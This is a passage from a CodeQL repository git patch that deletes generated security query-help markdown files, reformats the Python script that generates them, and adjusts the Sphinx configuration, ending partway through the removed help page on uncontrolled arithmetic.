docs/language/query-help/cpp/CastArrayPointerArithmetic.md delete mode 100644 docs/language/query-help/cpp/CgiXss.md delete mode 100644 docs/language/query-help/cpp/CleartextBufferWrite.md delete mode 100644 docs/language/query-help/cpp/CleartextFileWrite.md delete mode 100644 docs/language/query-help/cpp/CleartextSqliteDatabase.md delete mode 100644 docs/language/query-help/cpp/ComparisonWithWiderType.md delete mode 100644 docs/language/query-help/cpp/DangerousFunctionOverflow.md delete mode 100644 docs/language/query-help/cpp/DangerousUseOfCin.md delete mode 100644 docs/language/query-help/cpp/DoNotCreateWorldWritable.md delete mode 100644 docs/language/query-help/cpp/HResultBooleanConversion.md delete mode 100644 docs/language/query-help/cpp/IncorrectNotOperatorUsage.md delete mode 100644 docs/language/query-help/cpp/IncorrectPointerScaling.md delete mode 100644 docs/language/query-help/cpp/IncorrectPointerScalingVoid.md delete mode 100644 docs/language/query-help/cpp/IntMultToLong.md delete mode 100644 docs/language/query-help/cpp/NewFreeMismatch.md delete mode 100644 docs/language/query-help/cpp/NoSpaceForZeroTerminator.md delete mode 100644 docs/language/query-help/cpp/NonConstantFormat.md delete mode 100644 docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md delete mode 100644 docs/language/query-help/cpp/OpenSslHeartbleed.md delete mode 100644 docs/language/query-help/cpp/OverflowStatic.md delete mode 100644 docs/language/query-help/cpp/OverrunWrite.md delete mode 100644 docs/language/query-help/cpp/OverrunWriteFloat.md delete mode 100644 docs/language/query-help/cpp/PointerOverflow.md delete mode 100644 docs/language/query-help/cpp/PotentiallyDangerousFunction.md delete mode 100644 docs/language/query-help/cpp/SignedOverflowCheck.md delete mode 100644 docs/language/query-help/cpp/SizeCheck.md delete mode 100644 docs/language/query-help/cpp/SizeCheck2.md delete mode 100644 docs/language/query-help/cpp/SnprintfOverflow.md delete mode 100644 docs/language/query-help/cpp/SqlTainted.md delete mode 100644 docs/language/query-help/cpp/StrncpyFlippedArgs.md delete mode 100644 docs/language/query-help/cpp/SuspiciousAddWithSizeof.md delete mode 100644 docs/language/query-help/cpp/SuspiciousCallToStrncat.md delete mode 100644 docs/language/query-help/cpp/SuspiciousSizeof.md delete mode 100644 docs/language/query-help/cpp/TOCTOUFilesystemRace.md delete mode 100644 docs/language/query-help/cpp/TaintedAllocationSize.md delete mode 100644 docs/language/query-help/cpp/TaintedCondition.md delete mode 100644 docs/language/query-help/cpp/TaintedPath.md delete mode 100644 docs/language/query-help/cpp/TooFewArguments.md delete mode 100644 docs/language/query-help/cpp/UnboundedWrite.md delete mode 100644 docs/language/query-help/cpp/UncontrolledFormatString.md delete mode 100644 docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md delete mode 100644 docs/language/query-help/cpp/UncontrolledProcessOperation.md delete mode 100644 docs/language/query-help/cpp/UninitializedLocal.md delete mode 100644 docs/language/query-help/cpp/UnsafeCreateProcessCall.md delete mode 100644 docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md delete mode 100644 docs/language/query-help/cpp/UnsafeUseOfStrcat.md delete mode 100644 docs/language/query-help/cpp/UnterminatedVarargsCall.md delete mode 100644 docs/language/query-help/cpp/WcharCharConversion.md delete mode 100644 docs/language/query-help/cpp/WrongNumberOfFormatArguments.md delete mode 100644 docs/language/query-help/cpp/WrongTypeFormatArguments.md delete mode 100644 docs/language/query-help/csharp/ASPNetDebug.md delete mode 100644 docs/language/query-help/csharp/ASPNetDirectoryListing.md delete mode 100644 docs/language/query-help/csharp/AbandonSession.md delete mode 100644 docs/language/query-help/csharp/AssemblyPathInjection.md delete mode 100644 docs/language/query-help/csharp/CleartextStorage.md delete mode 100644 docs/language/query-help/csharp/CodeInjection.md delete mode 100644 docs/language/query-help/csharp/CommandInjection.md delete mode 100644 docs/language/query-help/csharp/ConditionalBypass.md delete mode 100644 docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md delete mode 100644 docs/language/query-help/csharp/CookieWithOverlyBroadPath.md delete mode 100644 docs/language/query-help/csharp/DeserializedDelegate.md delete mode 100644 docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md delete mode 100644 docs/language/query-help/csharp/Encryption using ECB.md delete mode 100644 docs/language/query-help/csharp/ExceptionInformationExposure.md delete mode 100644 docs/language/query-help/csharp/ExposureInTransmittedData.md delete mode 100644 docs/language/query-help/csharp/ExposureOfPrivateInformation.md delete mode 100644 docs/language/query-help/csharp/HardcodedConnectionString.md delete mode 100644 docs/language/query-help/csharp/HardcodedCredentials.md delete mode 100644 docs/language/query-help/csharp/HeaderCheckingDisabled.md delete mode 100644 docs/language/query-help/csharp/InadequateRSAPadding.md delete mode 100644 docs/language/query-help/csharp/InsecureRandomness.md delete mode 100644 docs/language/query-help/csharp/InsecureSQLConnection.md delete mode 100644 docs/language/query-help/csharp/InsufficientKeySize.md delete mode 100644 docs/language/query-help/csharp/LDAPInjection.md delete mode 100644 docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md delete mode 100644 docs/language/query-help/csharp/LogForging.md delete mode 100644 docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md delete mode 100644 docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md delete mode 100644 docs/language/query-help/csharp/MissingXFrameOptions.md delete mode 100644 docs/language/query-help/csharp/MissingXMLValidation.md delete mode 100644 docs/language/query-help/csharp/PasswordInConfigurationFile.md delete mode 100644 docs/language/query-help/csharp/PersistentCookie.md delete mode 100644 docs/language/query-help/csharp/ReDoS.md delete mode 100644 docs/language/query-help/csharp/RegexInjection.md delete mode 100644 docs/language/query-help/csharp/RequireSSL.md delete mode 100644 docs/language/query-help/csharp/ResourceInjection.md delete mode 100644 docs/language/query-help/csharp/RuntimeChecksBypass.md delete mode 100644 docs/language/query-help/csharp/SecondOrderSqlInjection.md delete mode 100644 docs/language/query-help/csharp/SqlInjection.md delete mode 100644 docs/language/query-help/csharp/StoredCommandInjection.md delete mode 100644 docs/language/query-help/csharp/StoredLDAPInjection.md delete mode 100644 docs/language/query-help/csharp/StoredXPathInjection.md delete mode 100644 docs/language/query-help/csharp/StoredXSS.md delete mode 100644 docs/language/query-help/csharp/TaintedPath.md delete mode 100644 docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md delete mode 100644 docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md delete mode 100644 docs/language/query-help/csharp/UncontrolledFormatString.md delete mode 100644 docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md delete mode 100644 docs/language/query-help/csharp/UntrustedDataInsecureXml.md delete mode 100644 docs/language/query-help/csharp/UrlRedirect.md delete mode 100644 docs/language/query-help/csharp/UseOfFileUpload.md delete mode 100644 docs/language/query-help/csharp/ValueShadowing.md delete mode 100644 docs/language/query-help/csharp/ValueShadowingServerVariable.md delete mode 100644 docs/language/query-help/csharp/WeakEncryption.md delete mode 100644 docs/language/query-help/csharp/XMLInjection.md delete mode 100644 docs/language/query-help/csharp/XPathInjection.md delete mode 100644 docs/language/query-help/csharp/XSS.md delete mode 100644 docs/language/query-help/csharp/ZipSlip.md delete mode 100644 docs/language/query-help/go/AllocationSizeOverflow.md delete mode 100644 docs/language/query-help/go/BadRedirectCheck.md delete mode 100644 docs/language/query-help/go/CleartextLogging.md delete mode 100644 docs/language/query-help/go/CommandInjection.md delete mode 100644 docs/language/query-help/go/ConstantOauth2State.md delete mode 100644 docs/language/query-help/go/DisabledCertificateCheck.md delete mode 100644 docs/language/query-help/go/EmailInjection.md delete mode 100644 docs/language/query-help/go/HardcodedCredentials.md delete mode 100644 docs/language/query-help/go/IncompleteHostnameRegexp.md delete mode 100644 docs/language/query-help/go/IncompleteUrlSchemeCheck.md delete mode 100644 docs/language/query-help/go/IncorrectIntegerConversion.md delete mode 100644 docs/language/query-help/go/InsecureHostKeyCallback.md delete mode 100644 docs/language/query-help/go/InsecureTLS.md delete mode 100644 docs/language/query-help/go/MissingRegexpAnchor.md delete mode 100644 docs/language/query-help/go/OpenUrlRedirect.md delete mode 100644 docs/language/query-help/go/ReflectedXss.md delete mode 100644 docs/language/query-help/go/RequestForgery.md delete mode 100644 docs/language/query-help/go/SqlInjection.md delete mode 100644 docs/language/query-help/go/StringBreak.md delete mode 100644 docs/language/query-help/go/TaintedPath.md delete mode 100644 docs/language/query-help/go/XPathInjection.md delete mode 100644 docs/language/query-help/go/ZipSlip.md delete mode 100644 docs/language/query-help/java/ArithmeticTainted.md delete mode 100644 docs/language/query-help/java/ArithmeticUncontrolled.md delete mode 100644 docs/language/query-help/java/BrokenCryptoAlgorithm.md delete mode 100644 docs/language/query-help/java/CleartextStorageCookie.md delete mode 100644 docs/language/query-help/java/CleartextStorageProperties.md delete mode 100644 docs/language/query-help/java/ComparisonWithWiderType.md delete mode 100644 docs/language/query-help/java/ConditionalBypass.md delete mode 100644 docs/language/query-help/java/ExecRelative.md delete mode 100644 docs/language/query-help/java/ExecTainted.md delete mode 100644 docs/language/query-help/java/ExecUnescaped.md delete mode 100644 docs/language/query-help/java/ExternallyControlledFormatString.md delete mode 100644 docs/language/query-help/java/HardcodedCredentialsApiCall.md delete mode 100644 docs/language/query-help/java/ImproperValidationOfArrayConstruction.md delete mode 100644 docs/language/query-help/java/ImproperValidationOfArrayIndex.md delete mode 100644 docs/language/query-help/java/InfiniteLoop.md delete mode 100644 docs/language/query-help/java/InformationLoss.md delete mode 100644 docs/language/query-help/java/InsecureCookie.md delete mode 100644 docs/language/query-help/java/InsecureDependencyResolution.md delete mode 100644 docs/language/query-help/java/IntMultToLong.md delete mode 100644 docs/language/query-help/java/LdapInjection.md delete mode 100644 docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md delete mode 100644 docs/language/query-help/java/NettyResponseSplitting.md delete mode 100644 docs/language/query-help/java/NumericCastTainted.md delete mode 100644 docs/language/query-help/java/PotentiallyDangerousFunction.md delete mode 100644 docs/language/query-help/java/PredictableSeed.md delete mode 100644 docs/language/query-help/java/ReadingFromWorldWritableFile.md delete mode 100644 docs/language/query-help/java/ResponseSplitting.md delete mode 100644 docs/language/query-help/java/SocketAuthRace.md delete mode 100644 docs/language/query-help/java/SpringCSRFProtection.md delete mode 100644 docs/language/query-help/java/SqlTainted.md delete mode 100644 docs/language/query-help/java/SqlUnescaped.md delete mode 100644 docs/language/query-help/java/StackTraceExposure.md delete mode 100644 docs/language/query-help/java/TOCTOURace.md delete mode 100644 docs/language/query-help/java/TaintedPath.md delete mode 100644 docs/language/query-help/java/TaintedPermissionsCheck.md delete mode 100644 docs/language/query-help/java/UnreleasedLock.md delete mode 100644 docs/language/query-help/java/UnsafeDeserialization.md delete mode 100644 docs/language/query-help/java/UrlRedirect.md delete mode 100644 docs/language/query-help/java/XSS.md delete mode 100644 docs/language/query-help/java/XXE.md delete mode 100644 docs/language/query-help/java/ZipSlip.md delete mode 100644 docs/language/query-help/javascript/AllowRunningInsecureContent.md delete mode 100644 docs/language/query-help/javascript/BadRandomness.md delete mode 100644 docs/language/query-help/javascript/BrokenCryptoAlgorithm.md delete mode 100644 docs/language/query-help/javascript/BuildArtifactLeak.md delete mode 100644 docs/language/query-help/javascript/CleartextLogging.md delete mode 100644 docs/language/query-help/javascript/CleartextStorage.md delete mode 100644 docs/language/query-help/javascript/ClientSideUrlRedirect.md delete mode 100644 docs/language/query-help/javascript/CodeInjection.md delete mode 100644 docs/language/query-help/javascript/CommandInjection.md delete mode 100644 docs/language/query-help/javascript/ConditionalBypass.md delete mode 100644 docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md delete mode 100644 docs/language/query-help/javascript/DisablingCertificateValidation.md delete mode 100644 docs/language/query-help/javascript/DisablingSce.md delete mode 100644 docs/language/query-help/javascript/DisablingWebSecurity.md delete mode 100644 docs/language/query-help/javascript/DoubleEscaping.md delete mode 100644 docs/language/query-help/javascript/ExceptionXss.md delete mode 100644 docs/language/query-help/javascript/FileAccessToHttp.md delete mode 100644 docs/language/query-help/javascript/HardcodedCredentials.md delete mode 100644 docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md delete mode 100644 docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md delete mode 100644 docs/language/query-help/javascript/HttpToFileAccess.md delete mode 100644 docs/language/query-help/javascript/IdentityReplacement.md delete mode 100644 docs/language/query-help/javascript/ImproperCodeSanitization.md delete mode 100644 docs/language/query-help/javascript/IncompleteHostnameRegExp.md delete mode 100644 docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md delete mode 100644 docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md delete mode 100644 docs/language/query-help/javascript/IncompleteSanitization.md delete mode 100644 docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md delete mode 100644 docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md delete mode 100644 docs/language/query-help/javascript/IncorrectSuffixCheck.md delete mode 100644 docs/language/query-help/javascript/IndirectCommandInjection.md delete mode 100644 docs/language/query-help/javascript/InsecureDownload.md delete mode 100644 docs/language/query-help/javascript/InsecureRandomness.md delete mode 100644 docs/language/query-help/javascript/InsecureUrlWhitelist.md delete mode 100644 docs/language/query-help/javascript/InsufficientPasswordHash.md delete mode 100644 docs/language/query-help/javascript/LoopBoundInjection.md delete mode 100644 docs/language/query-help/javascript/MissingCsrfMiddleware.md delete mode 100644 docs/language/query-help/javascript/MissingRateLimiting.md delete mode 100644 docs/language/query-help/javascript/MissingRegExpAnchor.md delete mode 100644 docs/language/query-help/javascript/PasswordInConfigurationFile.md delete mode 100644 docs/language/query-help/javascript/PolynomialReDoS.md delete mode 100644 docs/language/query-help/javascript/PostMessageStar.md delete mode 100644 docs/language/query-help/javascript/PrivateFileExposure.md delete mode 100644 docs/language/query-help/javascript/PrototypePollution.md delete mode 100644 docs/language/query-help/javascript/PrototypePollutionUtility.md delete mode 100644 docs/language/query-help/javascript/ReDoS.md delete mode 100644 docs/language/query-help/javascript/ReflectedXss.md delete mode 100644 docs/language/query-help/javascript/RegExpInjection.md delete mode 100644 docs/language/query-help/javascript/RemotePropertyInjection.md delete mode 100644 docs/language/query-help/javascript/RequestForgery.md delete mode 100644 docs/language/query-help/javascript/ServerSideUrlRedirect.md delete mode 100644 docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md delete mode 100644 docs/language/query-help/javascript/SqlInjection.md delete mode 100644 docs/language/query-help/javascript/StackTraceExposure.md delete mode 100644 docs/language/query-help/javascript/StoredXss.md delete mode 100644 docs/language/query-help/javascript/TaintedFormatString.md delete mode 100644 docs/language/query-help/javascript/TaintedPath.md delete mode 100644 docs/language/query-help/javascript/TargetBlank.md delete mode 100644 docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md delete mode 100644 docs/language/query-help/javascript/UnsafeDeserialization.md delete mode 100644 docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md delete mode 100644 docs/language/query-help/javascript/UnsafeHtmlExpansion.md delete mode 100644 docs/language/query-help/javascript/UnsafeJQueryPlugin.md delete mode 100644 docs/language/query-help/javascript/UnsafeShellCommandConstruction.md delete mode 100644 docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md delete mode 100644 docs/language/query-help/javascript/UselessRegExpCharacterEscape.md delete mode 100644 docs/language/query-help/javascript/UselessUseOfCat.md delete mode 100644 docs/language/query-help/javascript/XmlBomb.md delete mode 100644 docs/language/query-help/javascript/XpathInjection.md delete mode 100644 docs/language/query-help/javascript/Xss.md delete mode 100644 docs/language/query-help/javascript/XssThroughDom.md delete mode 100644 docs/language/query-help/javascript/Xxe.md delete mode 100644 docs/language/query-help/javascript/ZipSlip.md delete mode 100644 docs/language/query-help/python/BindToAllInterfaces.md delete mode 100644 docs/language/query-help/python/BrokenCryptoAlgorithm.md delete mode 100644 docs/language/query-help/python/CleartextLogging.md delete mode 100644 docs/language/query-help/python/CleartextStorage.md delete mode 100644 docs/language/query-help/python/CodeInjection.md delete mode 100644 docs/language/query-help/python/CommandInjection.md delete mode 100644 docs/language/query-help/python/FlaskDebug.md delete mode 100644 docs/language/query-help/python/HardcodedCredentials.md delete mode 100644 docs/language/query-help/python/IncompleteHostnameRegExp.md delete mode 100644 docs/language/query-help/python/IncompleteUrlSubstringSanitization.md delete mode 100644 docs/language/query-help/python/InsecureDefaultProtocol.md delete mode 100644 docs/language/query-help/python/InsecureProtocol.md delete mode 100644 docs/language/query-help/python/InsecureTemporaryFile.md delete mode 100644 docs/language/query-help/python/Jinja2WithoutEscaping.md delete mode 100644 docs/language/query-help/python/MissingHostKeyValidation.md delete mode 100644 docs/language/query-help/python/PathInjection.md delete mode 100644 docs/language/query-help/python/ReflectedXss.md delete mode 100644 docs/language/query-help/python/RequestWithoutValidation.md delete mode 100644 docs/language/query-help/python/SqlInjection.md delete mode 100644 docs/language/query-help/python/StackTraceExposure.md delete mode 100644 docs/language/query-help/python/TarSlip.md delete mode 100644 docs/language/query-help/python/UnsafeDeserialization.md delete mode 100644 docs/language/query-help/python/UrlRedirect.md delete mode 100644 docs/language/query-help/python/UseofInput.md delete mode 100644 docs/language/query-help/python/WeakCrypto.md delete mode 100644 docs/language/query-help/python/WeakFilePermissions.md delete mode 100644 docs/language/query-help/query-lists/query-list.csv delete mode 100644 docs/language/query-help/toc-cpp.rst delete mode 100644 docs/language/query-help/toc-csharp.rst delete mode 100644 docs/language/query-help/toc-go.rst delete mode 100644 docs/language/query-help/toc-java.rst delete mode 100644 docs/language/query-help/toc-javascript.rst delete mode 100644 docs/language/query-help/toc-python.rst diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 6deb12747c9..6595f73733d 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -6,10 +6,11 @@ import sys import os # Define which languages and query packs to consider -languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] +languages = ["cpp", "csharp", "go", "java", "javascript", "python"] # Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now -packs = [ "code-scanning", "security-extended" ] +packs = ["code-scanning", "security-extended"] + def prefix_repo_nwo(filename): """ @@ -19,32 +20,37 @@ def prefix_repo_nwo(filename): /home/alice/git/ql/java/ql/src/MyQuery.ql becomes: github/codeql/java/ql/src/MyQuery.ql - + If we can't detect a known NWO (e.g. github/codeql, github/codeql-go), the path will be truncated to the root of the git repo: ql/java/ql/src/MyQuery.ql - + If the filename is not part of a Git repo, the return value is the same as the input value: the whole path. """ dirname = os.path.dirname(filename) try: - git_toplevel_dir_subp = subprocess_run(["git", "-C", dirname, "rev-parse", "--show-toplevel"]) + git_toplevel_dir_subp = subprocess_run( + ["git", "-C", dirname, "rev-parse", "--show-toplevel"]) except: # Not a Git repo return filename - + git_toplevel_dir = git_toplevel_dir_subp.stdout.strip() - + # Detect 'github/codeql' and 'github/codeql-go' repositories by checking the remote (it's a bit # of a hack but will work in most cases, as long as the remotes have 'codeql' and 'codeql-go' # in the URL - git_remotes = subprocess_run(["git","-C",dirname,"remote","-v"]).stdout.strip() + git_remotes = subprocess_run( + ["git", "-C", dirname, "remote", "-v"]).stdout.strip() - if "codeql-go" in git_remotes: prefix = "github/codeql-go" - elif "codeql" in git_remotes: prefix = "github/codeql" - else: prefix = os.path.basename(git_toplevel_dir) + if "codeql-go" in git_remotes: + prefix = "github/codeql-go" + elif "codeql" in git_remotes: + prefix = "github/codeql" + else: + prefix = os.path.basename(git_toplevel_dir) return os.path.join(prefix, filename[len(git_toplevel_dir)+1:]) @@ -59,9 +65,11 @@ def single_spaces(input): def get_query_metadata(key, metadata, queryfile): """Returns query metadata or prints a warning to stderr if a particular piece of metadata is not available.""" - if key in metadata: return single_spaces(metadata[key]) + if key in metadata: + return single_spaces(metadata[key]) query_id = metadata['id'] if 'id' in metadata else 'unknown' - print("Warning: no '%s' metadata for query with ID '%s' (%s)" % (key, query_id, queryfile), file=sys.stderr) + print("Warning: no '%s' metadata for query with ID '%s' (%s)" % + (key, query_id, queryfile), file=sys.stderr) return "" @@ -69,14 +77,15 @@ def subprocess_run(cmd): """Runs a command through subprocess.run, with a few tweaks. Raises an Exception if exit code != 0.""" return subprocess.run(cmd, capture_output=True, text=True, env=os.environ.copy(), check=True) -try: # Check for `git` on path - subprocess_run(["git","--version"]) + +try: # Check for `git` on path + subprocess_run(["git", "--version"]) except Exception as e: print("Error: couldn't invoke 'git'. Is it on the path? Aborting.", file=sys.stderr) raise e -try: # Check for `codeql` on path - subprocess_run(["codeql","--version"]) +try: # Check for `codeql` on path + subprocess_run(["codeql", "--version"]) except Exception as e: print("Error: couldn't invoke CodeQL CLI 'codeql'. Is it on the path? Aborting.", file=sys.stderr) raise e @@ -87,12 +96,12 @@ except Exception as e: # # (and assumes the codeql-go repo is in a similar location) -#codeql_search_path = "./ql" or "./codeql-go" # will be extended further down - +# codeql_search_path = "./ql" or "./codeql-go" # will be extended further down + # Extend CodeQL search path by detecting root of the current Git repo (if any). This means that you # can run this script from any location within the CodeQL git repository. try: - git_toplevel_dir = subprocess_run(["git","rev-parse","--show-toplevel"]) + git_toplevel_dir = subprocess_run(["git", "rev-parse", "--show-toplevel"]) # Current working directory is in a Git repo. Add it to the search path, just in case it's the CodeQL repo #git_toplevel_dir = git_toplevel_dir.stdout.strip() @@ -103,90 +112,104 @@ except: pass # Iterate over all languages and packs, and resolve which queries are part of those packs -for lang in languages: +for lang in languages: # Define empty dictionary to store @name:filename pairs to generate alphabetically sorted Sphinx toctree - index_file_dictionary = {} + index_file_dictionary = {} for pack in packs: # Get absolute paths to queries in this pack by using 'codeql resolve queries' try: - queries_subp = subprocess_run(["codeql","resolve","queries","--search-path", codeql_search_path, "%s-%s.qls" % (lang, pack)]) + queries_subp = subprocess_run( + ["codeql", "resolve", "queries", "--search-path", codeql_search_path, "%s-%s.qls" % (lang, pack)]) except Exception as e: # Resolving queries might go wrong if the github/codeql and github/codeql-go repositories are not # on the search path. print( - "Warning: couldn't find query pack '%s' for language '%s'. Do you have the right repositories in the right places (search path: '%s')?" % (pack, lang, codeql_search_path), + "Warning: couldn't find query pack '%s' for language '%s'. Do you have the right repositories in the right places (search path: '%s')?" % ( + pack, lang, codeql_search_path), file=sys.stderr - ) + ) continue # Define empty dictionary to store @name:filename pairs to generate alphabetically sorted Sphinx toctree later - index_file_dictionary = {} + index_file_dictionary = {} - # Investigate metadata for every query by using 'codeql resolve metadata' + # Investigate metadata for every query by using 'codeql resolve metadata' for queryfile in queries_subp.stdout.strip().split("\n"): - query_metadata_json = subprocess_run(["codeql","resolve","metadata",queryfile]).stdout.strip() + query_metadata_json = subprocess_run( + ["codeql", "resolve", "metadata", queryfile]).stdout.strip() meta = json.loads(query_metadata_json) - + # Turn an absolute path to a query file into an nwo-prefixed path (e.g. github/codeql/java/ql/src/....) queryfile_nwo = prefix_repo_nwo(queryfile) - - # Generate the query help for each query - query_help = subprocess_run(["codeql","generate","query-help","--format=markdown","--warnings=hide",queryfile]).stdout.strip() + + # Generate the query help for each query + query_help = subprocess_run( + ["codeql", "generate", "query-help", "--format=markdown", "--warnings=hide", queryfile]).stdout.strip() # Pull out relevant query metadata properties that we want to display in the query help query_name_meta = get_query_metadata('name', meta, queryfile) - query_description = get_query_metadata('description', meta, queryfile) - query_id = "ID: " + get_query_metadata('id', meta, queryfile) + "\n" - query_kind = "Kind: " + get_query_metadata('kind', meta, queryfile) + "\n" - query_severity = "Severity: " + get_query_metadata('problem.severity', meta, queryfile) + "\n" - query_precision = "Precision: " + get_query_metadata('precision', meta, queryfile) + "\n" - query_tags = "Tags: " + get_query_metadata('tags', meta, queryfile) + "\n" - + query_description = get_query_metadata( + 'description', meta, queryfile) + query_id = "ID: " + \ + get_query_metadata('id', meta, queryfile) + "\n" + query_kind = "Kind: " + \ + get_query_metadata('kind', meta, queryfile) + "\n" + query_severity = "Severity: " + \ + get_query_metadata('problem.severity', meta, queryfile) + "\n" + query_precision = "Precision: " + \ + get_query_metadata('precision', meta, queryfile) + "\n" + query_tags = "Tags: " + \ + get_query_metadata('tags', meta, queryfile) + "\n" + # Build a link to the query source file for display in the query help if "go" in prefix_repo_nwo(queryfile): - transform_link = prefix_repo_nwo(queryfile).replace("codeql-go", "codeql-go/tree/main").replace(" ", "%20").replace("\\","/") - else: - transform_link = prefix_repo_nwo(queryfile).replace("codeql", "codeql/tree/main").replace(" ", "%20").replace("\\","/") - query_link = "[Click to see the query in the CodeQL repository](https://github.com/" + transform_link + ")\n" - + transform_link = prefix_repo_nwo(queryfile).replace( + "codeql-go", "codeql-go/tree/main").replace(" ", "%20").replace("\\", "/") + else: + transform_link = prefix_repo_nwo(queryfile).replace( + "codeql", "codeql/tree/main").replace(" ", "%20").replace("\\", "/") + query_link = "[Click to see the query in the CodeQL repository](https://github.com/" + \ + transform_link + ")\n" + # Join metadata into a literal block and add query link below - meta_string = "\n"*2 + "```\n" + query_id + query_kind + query_severity + query_precision + query_tags + "\n" + "```\n" + query_link + "\n" - + meta_string = "\n"*2 + "```\n" + query_id + query_kind + query_severity + \ + query_precision + query_tags + "\n" + "```\n" + query_link + "\n" + # Insert metadata block into query help directly under title full_help = query_help.replace("\n", meta_string, 1) - + # Basename of query, used to make markdown output filepath query_name = os.path.split(queryfile_nwo)[1][:-3] - - # Populate index_file_dictionary with @name extracted from metadata and corresponding query filename - index_file_dictionary[query_name_meta] = lang + "/" + query_name - + + # Populate index_file_dictionary with @name extracted from metadata and corresponding query filename + index_file_dictionary[query_name_meta] = lang + "/" + query_name + # Make paths for output of the form: query-help-markdown//.md docs_dir = 'query-help' md_dir_path = os.path.join(docs_dir, lang) md_file_path = os.path.join(md_dir_path, query_name + ".md") - - # Make directories for output paths they don't already exist + + # Make directories for output paths they don't already exist if not os.path.isdir(md_dir_path): os.makedirs(md_dir_path) - - # Generate query help at chosen path if output file doesn't already exist + + # Generate query help at chosen path if output file doesn't already exist if not os.path.exists(md_file_path): file = open(md_file_path, "x") file.write(full_help) file.close() - - # Sort index_file_dictionary alphabetically by @name key, and create column of filename values + + # Sort index_file_dictionary alphabetically by @name key, and create column of filename values sorted_index = dict(sorted(index_file_dictionary.items())) sorted_index = ("\n" + " ").join(sorted_index.values()) - + # Add directives to make sorted_index a valid toctree for sphinx source files toc_directive = ".. toctree::\n :titlesonly:\n\n " toc_include = toc_directive + sorted_index - - # Write toctree to rst + + # Write toctree to rst toc_file = os.path.join(docs_dir, "toc-" + lang + ".rst") file = open(toc_file, "x") file.write(toc_include) - file.close() \ No newline at end of file + file.close() diff --git a/docs/language/query-help/conf.py b/docs/language/query-help/conf.py index c108574413f..d80f8079def 100644 --- a/docs/language/query-help/conf.py +++ b/docs/language/query-help/conf.py @@ -45,11 +45,11 @@ project = u'CodeQL query help' # Add md parser to process query help markdown files -source_parsers = { - '.md': 'recommonmark.parser.CommonMarkParser', -} +#source_parsers = { +# '.md': 'recommonmark.parser.CommonMarkParser', +#} -source_suffix = ['.rst', '.md'] +source_suffix = ['.rst'] # -- Project-specifc options for HTML output ---------------------------------------------- diff --git a/docs/language/query-help/cpp/AllocaInLoop.md b/docs/language/query-help/cpp/AllocaInLoop.md deleted file mode 100644 index 36d8ad42f64..00000000000 --- a/docs/language/query-help/cpp/AllocaInLoop.md +++ /dev/null @@ -1,53 +0,0 @@ -# Call to alloca in a loop - -``` -ID: cpp/alloca-in-loop -Kind: problem -Severity: warning -Precision: high -Tags: reliability correctness security external/cwe/cwe-770 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/AllocaInLoop.ql) - -The `alloca` macro allocates memory by expanding the current stack frame. Invoking `alloca` within a loop may lead to a stack overflow because the memory is not released until the function returns. - - -## Recommendation -Consider invoking `alloca` once outside the loop, or using `malloc` or `new` to allocate memory on the heap if the allocation must be done inside the loop. - - -## Example -The variable `path` is allocated inside a loop with `alloca`. Consequently, storage for all copies of the path is present in the stack frame until the end of the function. - - -```cpp -char *dir_path; -char **dir_entries; -int count; - -for (int i = 0; i < count; i++) { - char *path = (char*)alloca(strlen(dir_path) + strlen(dir_entry[i]) + 2); - // use path -} - -``` -In the revised example, `path` is allocated with `malloc` and freed at the end of the loop. - - -```cpp -char *dir_path; -char **dir_entries; -int count; - -for (int i = 0; i < count; i++) { - char *path = (char*)malloc(strlen(dir_path) + strlen(dir_entry[i]) + 2); - // use path - free(path); -} - -``` - -## References -* Linux Programmer's Manual: [ALLOCA(3)](http://man7.org/linux/man-pages/man3/alloca.3.html). -* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/ArithmeticUncontrolled.md b/docs/language/query-help/cpp/ArithmeticUncontrolled.md deleted file mode 100644 index 39f00fc3b28..00000000000 --- a/docs/language/query-help/cpp/ArithmeticUncontrolled.md +++ /dev/null @@ -1,50 +0,0 @@ -# Uncontrolled data in arithmetic expression - -``` -ID: cpp/uncontrolled-arithmetic -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-190 external/cwe/cwe-191 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/ArithmeticUncontrolled.ql) - -Performing calculations on uncontrolled data can result in integer overflows unless the input is validated. - -If the data is not under your control, and can take extremely large values, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. - - -## Recommendation -Always guard against overflow in arithmetic operations on uncontrolled data by doing one of the following: - -* Validate the data. -* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `INT_MAX`. -* Use a wider type, so that larger input values do not cause overflow. - -## Example -In this example, a random integer is generated. Because the value is not controlled by the programmer, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a 